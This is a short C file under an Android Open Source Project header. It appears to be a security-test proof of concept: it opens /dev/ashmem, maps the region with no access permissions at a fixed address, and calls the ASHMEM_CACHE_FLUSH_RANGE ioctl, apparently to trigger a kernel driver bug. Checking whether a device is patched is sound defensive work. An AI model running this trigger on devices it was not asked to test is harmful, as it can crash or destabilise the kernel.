1 /**
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #define _GNU_SOURCE
18 #include <fcntl.h>
19 #include <sys/ioctl.h>
20 #include <sys/mman.h>
21 #include <stdio.h>
22 #include "local_poc.h"
23 
24 
main()25 int main() {
26     int fd;
27     int ret;
28     uint64_t mmap_ret;
29 
30     fd = open("/dev/ashmem", 0, 0);
31     if (fd < 0) {
32         return -1;
33     }
34 
35     ret = ioctl(fd, ASHMEM_SET_SIZE, 0x1000);
36     if (ret < 0) {
37         return -1;
38     }
39 
40     mmap_ret = (uint64_t) mmap((void *) 0x7f0000000 /*addr*/, 0x1000 /*length*/, 0x0 /*prot*/,
41             0x12 /*flags=MAP_FIXED|MAP_PRIVATE*/, fd, 0x0 /*offset*/);
42     if (mmap_ret == MAP_FAILED) {
43         return -1;
44     }
45 
46     ret = ioctl(fd, ASHMEM_CACHE_FLUSH_RANGE, NULL);
47     if (ret < 0) {
48         return -1;
49     }
50     return 0;
51 }
52